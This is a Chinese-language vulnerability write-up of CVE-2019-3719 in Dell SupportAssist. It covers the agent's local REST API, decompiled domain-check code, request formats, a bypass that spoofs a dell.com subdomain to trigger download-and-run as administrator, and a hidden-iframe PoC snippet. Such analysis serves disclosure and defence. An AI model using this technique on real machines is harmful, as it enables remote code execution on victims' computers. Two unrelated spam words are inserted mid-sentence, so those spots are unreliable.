CVE-2019-3719: Dell SupportAssist远程代码执行漏洞

Dell SupportAssist是一款检查相同软硬件健康的软件,预装在大多数新Dell设备中。研究人员发现dell笔记本电脑安装的第三方软件Dell SupportAssist中存在远程代码执行漏洞。

去年9月,研究人员购买了一台Dell G3 15笔记本电脑,然后研究人员将1TB的硬盘更换为SSD。之后需要重装Windows,然后当研究人员访问dell支持网站时,出现了一个有意思的选项——Detect PC。

点击后,就自动下载和安装了一个驱动。研究人员怀疑Dell通过网站更新了系统中的驱动。

安装后,在后台,SupportAssist Installer创建了一个 SupportAssistAgent和Dell Hardware Support服务。这些服务对应的是.net二进制文件,很容易就可以逆向。

研究人员决定去DELL支持网站看看,研究人员打开Chrome Web Inspector和Network,然后点击Detect Drivers按钮。

该网站向研究人员计算机的8844端口发送请求。用Process Hacker检查该端口说明SupportAssistAgent服务在该端口上有web服务器。Dell做的就是在服务中暴露一个REST API,该服务允许dell网站发送不同的请求来建立通信。Web服务器会响应一个严格的Access-Control-Allow-Origin header为https://www.dell.com,防止其他网站来发送请求。

在web浏览器端,客户端提供了签名机制来认证不同的命令。这些签名是通过到https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken的请求来生成的,其中也提供了签名过期的时间。在web端点击下载驱动后,会发送请求:

POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Origin: https://www.dell.com
Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

body为:

[
    {
    "title":"Dell G3 3579 and 3779 System BIOS",
    "category":"BIOS",
    "name":"G3_3579_1.9.0.exe",
    "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",
    "isSecure":false,
    "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",
    "run":false,
    "restricted":false,
    "fileId":"198393521",
    "fileSize":"13 MB",
    "checkedStatus":false,
    "fileStatus":-99,
    "driverId":"4WW45",
    "path":"",
    "dupInstallReturnCode":"",
    "cssClass":"inactive-step",
    "isReboot":true,
    "DiableInstallNow":true,
    "$$hashKey":"object:175"
    }]

看似web客户端可以直接请求SupportAssistAgentservice服务来下载和安装程序,研究人员决定分析下使用的命令。

首先,Dell SupportAssist在端口8884, 8883, 8886, 或8885上开启一个web服务器,具体端口与当时可用的端口有关,从8884开始。在请求中,位于HttpListenerServiceFacade的ListenerCallback会调用ClientServiceHandler.ProcessRequest。

ClientServiceHandler.ProcessRequest是基本的web服务器函数,是通过执行完整性检查开始的,以确保请求是来自本地计算机的。

一个重要的完整性检查是ClientServiceHandler.ProcessRequest,尤其是服务器检查来确保referer是来自Dell。

ProcessRequest调用以下函数来确保来自于Dell:中国菜刀

// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
public static bool ValidateDomain(Uri request, Uri urlReferrer)
{
	return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
}

// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
public static bool ValidateDomain(string domain)
{
	return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
}

围绕过Referer/Origin检查,有以下选项:

· 在Dell网站找到扩展脚本漏洞

· 找到子域接管漏洞

· 确保请求是来自本地程序的

· 生成一个随机子域名,使用外部机器来劫持受害者。然后,当受害者请求 [random].dell.com,就响应服务器。

最后,研究人员决定选择第4种方案。在确认了请求的Referer/Origin后,ProcessRequest会发送请求到对应的GET, POST, OPTIONS函数。

研究人员在了解了Dell SupportAssist的工作原理后,研究人员拦截了来自Dell支持网站的不同类型的请求。

首先,web站点尝试用前面提到的服务端口连接到服务方法isalive,来检测SupportAssist。它会传递参数Signature和“Expires”。然后研究人员逆向了浏览器的JS端代码,发现:天空彩

1. 首先,浏览器创建一个到

https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken的请求,来获取最新的Token或签名。终端也提供Expires token来解决签名问题。

2. 然后,浏览器向每个服务端口发送形如http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]的请求。

3. SupportAssist客户端在正确的端口到达时会响应,形如:

{
 "isAlive": true,
 "clientVersion": "[CLIENT VERSION]",
 "requiredVersion": null,
 "success": true,
 "data": null,
 "localTime": [EPOCH TIME],
 "Exception": {
     "Code": null,
     "Message": null,
     "Type": null
 }}

 4. 浏览器看到后,会使用当时的端口继续发送请求。

下面是agent暴露的一些方法:

· clientservice_getdevicedrivers – 获取可用更新

· diagnosticsservice_executetip – 获取guid并提供给PC Doctor服务(Dell Hardware Support)

· downloadservice_downloadfiles – 下载文件的JSON数组

· clientservice_isalive – 作为心跳,返回关于agent的基本信息

· clientservice_getservicetag – 获取服务 tag.

· localclient_img – 连接到SignalR (Dell Hardware Support).

· diagnosticsservice_getsysteminfowithappcrashinfo – 获取含有奔溃信息的系统信息

· clientservice_getclientsysteminfo – 获取关于系统信息和系统健康信息的设备信息

· diagnosticsservice_startdiagnosisflow -用来诊断系统上的问题

· downloadservice_downloadmanualinstall – 下载文件但不执行

· diagnosticsservice_getalertsandnotifications – 获取暂停的告警和通知

· diagnosticsservice_launchtool – 启动诊断工具

· diagnosticsservice_executesoftwarefixes – 运行修复UI,执行特定动作。

· downloadservice_createiso – 下载ISO.

· clientservice_checkadminrights – 检查agent是否是特权的

· diagnosticsservice_performinstallation – 更新SupportAssist.

· diagnosticsservice_rebootsystem – 重启系统.

· clientservice_getdevices – 获取系统设备信息

· downloadservice_dlmcommand – 检查下载状态或取消下载

· diagnosticsservice_getsysteminfo – 调用PC Doctor上的GetSystemInfo

· downloadservice_installmanual – 安装之前用downloadservice_downloadmanualinstall下载的文件

· downloadservice_createbootableiso – 下载可启动的iso.

· diagnosticsservice_isalive – 心跳检查.

· downloadservice_downloadandautoinstall – 下载文件并执行

· clientservice_getscanresults – 获取驱动扫描结果

· downloadservice_restartsystem – 重启系统

研究人员注意到一个方法downloadservice_downloadandautoinstall,该方法会从特定URL来下载文件,然后运行。该方法当用户需要安装特定驱动时由浏览器运行的。

1、在找到需要更新的驱动后,浏览器会发送一个POST请求到http://127.0.0.1:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]

2、浏览器会发送含有以下JSON结构的请求:

[
 {
 "title":"DOWNLOAD TITLE",
 "category":"CATEGORY",
 "name":"FILENAME",
 "location":"FILE URL",
 "isSecure":false,
 "fileUniqueId":"RANDOMUUID",
 "run":true,
 "installOrder":2,
 "restricted":false,
 "fileStatus":-99,
 "driverId":"DRIVER ID",
 "dupInstallReturnCode":0,
 "cssClass":"inactive-step",
 "isReboot":false,
 "scanPNPId":"PNP ID",
 "$$hashKey":"object:210"
 }]

3、在执行基本的完整性检查后,ClientServiceHandler.ProcessRequest会发送ServiceMethod和传递给ClientServiceHandler.HandlePost的参数。

4、ClientServiceHandler.HandlePost首先将所有参数都放在一个数组中,然后调用ServiceMethodHelper.CallServiceMethod.

5、ServiceMethodHelper.CallServiceMethod函数作为一个分发函数,会调用ServiceMethod方法。downloadandautoinstall方法如下所示:

if (service_Method == "downloadservice_downloadandautoinstall")
{
 string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty;
 result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
}

该方法调用DownloadServiceLogic.DownloadAutoInstall,并提供JSON payload中发送的文件。

6、DownloadServiceLogic.DownloadAutoInstall作为DownloadServiceLogic._HandleJson的封装。

7、DownloadServiceLogic._HandleJson反序列化含有要下载的文件列表的JSON payload,并做如下的完整性检查:

foreach (File file in list)
{
 bool flag2 = file.Location.ToLower().StartsWith("http://");
 if (flag2)
 {
     file.Location = file.Location.Replace("http://", "https://");
 }
 bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);
 if (flag3)
 {
     DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");
     throw new InvalidFileException();
 }
}
DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);

上面的代码对每个文件都会进行循环,检查文件URL是否是以http://开头的,如果是就用https://替换,并检查URL是否与Dell下载服务器列表匹配:

public static bool CheckDomain(string fileLocation)
{
	List<string> list = new List<string>
	{
		"ftp.dell.com",
		"downloads.dell.com",
		"ausgesd4f1.aus.amer.dell.com"
	};
	
	return list.Contains(new Uri(fileLocation.ToLower()).Host);
}

最后,如果所有检查都通过,获取的文件就发送给DownloadHandler.RegisterDownloadRequest,此时SupportAssist会下载并以administrator运行。

Dell的安全建议见https://www.dell.com/support/article/us/en/19/sln316857/dsa-2019-051-dell-supportassist-client-multiple-vulnerabilities

PoC视频见https://www.youtube.com/embed/0cTfnZ04jgQ

PoC视频中的dellrce.html文件源代码为:

<h1>CVE-2019-3719</h1><h1>Nothing suspicious here... move along...</h1><iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>

PoC代码见https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC

上一篇:那些看过,还不错的电影


下一篇:Dell BOSS 卡是什么